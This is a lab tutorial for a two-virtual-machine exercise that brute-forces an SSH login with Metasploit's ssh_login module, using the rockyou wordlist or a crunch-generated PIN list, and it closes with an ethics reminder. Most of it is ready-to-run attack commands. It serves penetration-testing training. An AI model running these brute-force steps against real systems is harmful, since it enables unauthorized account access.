[Day 12] 1. SSH Password Cracking Brute Force

Setup:

1. Environment Preparation:

   • Have two virtual machines running Kali Linux or any Debian-based.
   • One machine will act as the target (running SSH service) and the other as the attacker (running Metasploit).
   • Ensure that both the machines are in the same network and are able to ping to each other.

2. Ensure SSH is Enabled on the Target Machine:

   • Start the SSH service on the target machine:

     bashCopy
     sudo service ssh start
     

   • Confirm SSH is running:

     bashCopy
     sudo netstat -tuln | grep 22
     

   • Note the target machine's IP address:

     bashCopy
     ip a
     

3. Install Necessary Tools:

   • Ensure Metasploit is installed on the attacker machine:

     bashCopy
     msfconsole
     

Steps to Perform Brute Force Attack:

1. Start Metasploit Framework:

   • Launch Metasploit on the attacker machine:

     bashCopy
     msfconsole
     

2. Load the SSH Login Module:

   • Use the Metasploit SSH login auxiliary module:

     bashCopy
     use auxiliary/scanner/ssh/ssh_login
     

3. Set Target Parameters:

   • Set the target IP address:

     bashCopy
     set RHOSTS <Target_IP>
     

   • Specify the username to attempt login:

     bashCopy
     set USERNAME <username>
     

     Replace

     Copy

     <username>

     with the actual username you want to test.

4. Specify the Wordlist for Passwords:

   • Use a pre-existing password list or create one:

     bashCopy
     set PASS_FILE /usr/share/wordlists/rockyou.txt
     

   • Ensure the

     Copy

     rockyou.txt

     file is uncompressed:

     bashCopy
     gunzip /usr/share/wordlists/rockyou.txt.gz
     

   • You can also use your own password list:

bashCopy
		crunch 4 4 0123456789 -o password.txt

1. Set the Number of Threads:

   • To speed up the process, set multiple threads:

     bashCopy
     set THREADS 4
     

2. Initiate the Attack:

   • Start the brute force attack:

     bashCopy
     run
     

   • Metasploit will iterate through the password list, trying to log in using the provided username.

3. Analyze Results:

   • If a correct password is found, it will be displayed in the output:

     Copy
     [SUCCESS] <Target_IP>:22 - Success: '<username>:<password>'
     

Post-Attack Cleanup:

1. Stop the SSH Service on the Target (Optional):

   bashCopy
   sudo service ssh stop
   

2. Document Findings:

   • Note the cracked credentials and include them in your report.

3. Ethical Responsibility:

   • Avoid causing harm or retaining unauthorized access to systems. Inform relevant authorities or owners about the findings if it’s a penetration test.